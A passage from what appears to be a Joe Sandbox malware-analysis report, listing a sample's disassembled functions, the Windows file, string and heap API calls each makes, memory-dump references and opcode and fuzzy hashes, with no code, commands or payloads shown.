Opcode Fuzzy Hash: 107cbe78643896cd277503af9d79c84134f19e12336bfdef765791961383781f
Instruction Fuzzy Hash: 0D21D672A19B8185EA119B29E44017AF360FB9ABD1F944231EFDD03BA9CF7CD150C700

Function 00007FF7B2F731BC Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF7B2F80822), ref: 00007FF7B2F731E7
DeleteFileW.KERNEL32 ref: 00007FF7B2F73237
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F732A1

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 72c673f2880adfe6ea93f0d9f4cbebf29628e435fcdd813aa7a5852a82454db7
Instruction ID: f0cd2daad217d77dd724f7d93d38c8954f7c5700a8511dc851f453e32244d755
Opcode Fuzzy Hash: 72c673f2880adfe6ea93f0d9f4cbebf29628e435fcdd813aa7a5852a82454db7
Instruction Fuzzy Hash: 7821FB22B1978185FE11AB29F44526EA360FBAABD5F905230FBDD426ADDF7CD140C710

Function 00007FF7B2F732BC Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00007FF7B2F7E5B1,?,?,?,00000000,?), ref: 00007FF7B2F732E7
GetFileAttributesW.KERNELBASE ref: 00007FF7B2F73334
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F73399

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: 40ad9405655d088623e5613f9ff1dd24c057f9c22428089c7716efbf5db7ae43
Instruction ID: 6d5eed99f716d141174a056db1e3c3813381bcba474707f72b95d8520d1f8160
Opcode Fuzzy Hash: 40ad9405655d088623e5613f9ff1dd24c057f9c22428089c7716efbf5db7ae43
Instruction Fuzzy Hash: F721C762A1978185EA51AB1CE444129A361FBDABA5F900331FB9D437ECDFBCD040C710

Function 00007FF7B2F622BC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7B2F622F1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F623F0

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: 5a2890223aea6d88e53338121990f25a14a9249d0429ebf34ef8f54134bab86e
Instruction ID: 2f4b0567c0e6e15ff88bbb7ada9c60c865c7256c9d37687026c318edb2a2f48e
Opcode Fuzzy Hash: 5a2890223aea6d88e53338121990f25a14a9249d0429ebf34ef8f54134bab86e
Instruction Fuzzy Hash: 65310321A1A74189EA12AB19E44536AF360FB96BC1F944231EB9C07B99DFBCE040C714

Function 00007FF7B2F72AD0 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF7B2F72AFE
SetFileTime.KERNELBASE ref: 00007FF7B2F72B9B

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction ID: 0a29dd3c4422ed1e55925e95b1c2bf2621854e582386b06aabca743651a2e64d
Opcode Fuzzy Hash: 1f7bfd0f82637a6abdcd08aef8b442a865f6f50d97ba3a1fa7ef62b0e093425a
Instruction Fuzzy Hash: E621E722E0B74259EA63BF6DD4013B69790AF13796F944131EF4C022B9EEBCD546C210

Function 00007FF7B2F7AAE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7B2F7AB67
LoadStringW.USER32 ref: 00007FF7B2F7AB80

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction ID: 1f60f11466305fccd4719918774f00d1ec01d2669ab94362e0e3457f7e8cf350
Opcode Fuzzy Hash: efc1550bd5bba1d5ac9face2304fa075ed5e4cb94ffc19493764f318ca00d951
Instruction Fuzzy Hash: 1E118170F0A60189E606AF1EE840164F7A1BBAAFC1B944939DF0D93738DEBCE551C754

Function 00007FF7B2F72BB0 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF7B2F72C11
GetLastError.KERNEL32 ref: 00007FF7B2F72C1E

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction ID: d70c852649e73f67e4c1242ec84166ddab5517730e28adc4e8ecf19e46d5a3c2
Opcode Fuzzy Hash: 5eda2cbf1ce6837a88d649c872729f31e823bc49095d59e5e9b193bf7b9166cd
Instruction Fuzzy Hash: DE11EB21A0964185EB51BB29E880279A360FB72BB5F944731EB3D522FCCFBCD582C310

Function 00007FF7B2F7EB58 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7B2F7EBAD,?,?,?,?,00007FF7B2F75752,?,?,?,00007FF7B2F756DE), ref: 00007FF7B2F7EB5C
GetProcessAffinityMask.KERNEL32 ref: 00007FF7B2F7EB6F

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction ID: 1c145b3fbe557d02ff13f46e50225162e32b2b397d8de42127469684cdf30bfb
Opcode Fuzzy Hash: 444071b75e142e51b736d9fa504759652bc9944b894df1f8101a797a07211085
Instruction Fuzzy Hash: DBE02B61F155868ADF4AAF5DC4414E9B3E2BFD9B40BC49036E70B83618EE6CE145CB00

Function 00007FF7B2F921D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B2F92200

Part of subcall function 00007FF7B2F92F7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B2F92F85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B2F92206

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 14867973fed18b2c44dc58e1bcd5f94848bfca26dcf41195b9c376eff134a452
Instruction ID: a62209223c65fffc1c7df2b4df493a79527a75fa03d20d3863caf6566d8bb816
Opcode Fuzzy Hash: 14867973fed18b2c44dc58e1bcd5f94848bfca26dcf41195b9c376eff134a452
Instruction Fuzzy Hash: 02E0B640E0B1074DF95B726E18251B580504F3B776EB81730DB3E482CEAE9CE5A5C530

Function 00007FF7B2F633E4 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F6388C

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d9984bf57418443c007321115317a4667c9375466ee7e8bcba90f6b0858b89e4
Instruction ID: 454a270c32aeb02bac852755bc4aa34b987cc0c6290786b4c455a0333219af35
Opcode Fuzzy Hash: d9984bf57418443c007321115317a4667c9375466ee7e8bcba90f6b0858b89e4
Instruction Fuzzy Hash: EAD1EE62B0A68259EB5BAB2D85402B8E7A1FB27F85F440035CB1D47769CF7CE460C715

Function 00007FF7B2F75294 Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F7551B

Part of subcall function 00007FF7B2F813F4: CompareStringW.KERNEL32 ref: 00007FF7B2F8145A

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1017591355-0
Opcode ID: a143f18b4ccf410723d5b55495dd87be6177e3dd9b35435d6782b563dee17ef9
Instruction ID: cfbc3c92079b3b1c2c6d98d54b3f4dd4161fb745b922f8603c642cd81e1a287f
Opcode Fuzzy Hash: a143f18b4ccf410723d5b55495dd87be6177e3dd9b35435d6782b563dee17ef9
Instruction Fuzzy Hash: 0C61F611A2E24749FA62BB1D452417AD291AF63BD6F940131FF6D166FDDEECE440C230

Function 00007FF7B2F6EC9C Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F6EEB8

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 3e1a7ad289177f96a39ae1ea5d7a73c074996d2d1475d9d645ca32a6f6be2ce3
Instruction ID: ade05a8595391e0e788e469ce49151f37e4ae2fedc08da0f36450f7f722d35c7
Opcode Fuzzy Hash: 3e1a7ad289177f96a39ae1ea5d7a73c074996d2d1475d9d645ca32a6f6be2ce3
Instruction Fuzzy Hash: 4E513652A0964148EA13BB69D4447A9A752EBA7BC5F840032EF4D4339ECFBCE086C324

Function 00007FF7B2F6129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B2F61396

Part of subcall function 00007FF7B2F61F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B2F61F89

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 3234b2b5ac3a40deddea539940c0fe254cec77c5e42e079e7c739459eb3fc390
Instruction ID: 01427c554d96ba605cc0b0f4d7099487c49f9d645cc14ae0bfbff43baa2ec99e
Opcode Fuzzy Hash: 3234b2b5ac3a40deddea539940c0fe254cec77c5e42e079e7c739459eb3fc390
Instruction Fuzzy Hash: 0921BA21A0A35189EE166F55A40127AB250FB56BF1FA80730DF3E87BD9DEBCE051C358

Function 00007FF7B2FA124C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B2FA1280

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction ID: d6c57df2882264e24a86d48456339a1110cec7c4f5f73651e3f0759cd66d8bc6
Opcode Fuzzy Hash: 9dd5a9e84c18447e56e2265fa04046f11d37b96b7f5b774ce3305aa6458b3f00
Instruction Fuzzy Hash: 17117F3191E646CAF752BB58944057AE2A4FB63381FD61534E78D8769DDFACE400CB20

Function 00007FF7B2F63AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F63B6C

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d36793c31387f104dd38dd6a9dfed600e2c4ae88e6f2c17daf49c6767410ecdf
Instruction ID: 396caa745b42b43b9e5e50b3756c47616296fffcdc21895a8011e0e3464c7525
Opcode Fuzzy Hash: d36793c31387f104dd38dd6a9dfed600e2c4ae88e6f2c17daf49c6767410ecdf
Instruction Fuzzy Hash: C901CC52E1978545EA13B71CE445229B361FBDAB91FD05231E79C076ADDFACD040C718

Function 00007FF7B2F72490 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF7B2F724A2

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction ID: bd8015a7d2d501553168be232a5cbd08ca20dfaaa6c7b2a00bf819a12df0f5af
Opcode Fuzzy Hash: df9a28314c6b6fddfb177ebf539387614dcb0363737e1ba4f38fe55c4f903e1a
Instruction Fuzzy Hash: D2D0A91290A80082D900BA39984203C6220AFA3736FE01730E33E812E2CA9C9096E220

Function 00007FF7B2F9FA04 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF7B2F9FA59

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction ID: d7b9c5c27a3c41859d8e29e9c3f54a301f38e87509612214549ee0a7b22cc383
Opcode Fuzzy Hash: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction Fuzzy Hash: 30F04F50F0B2074DFE567AAD99113B492905F66B86FA85530CB0D863E9ED9CE681C130

Function 00007FF7B2F9D94C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF7B2F9D98A

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
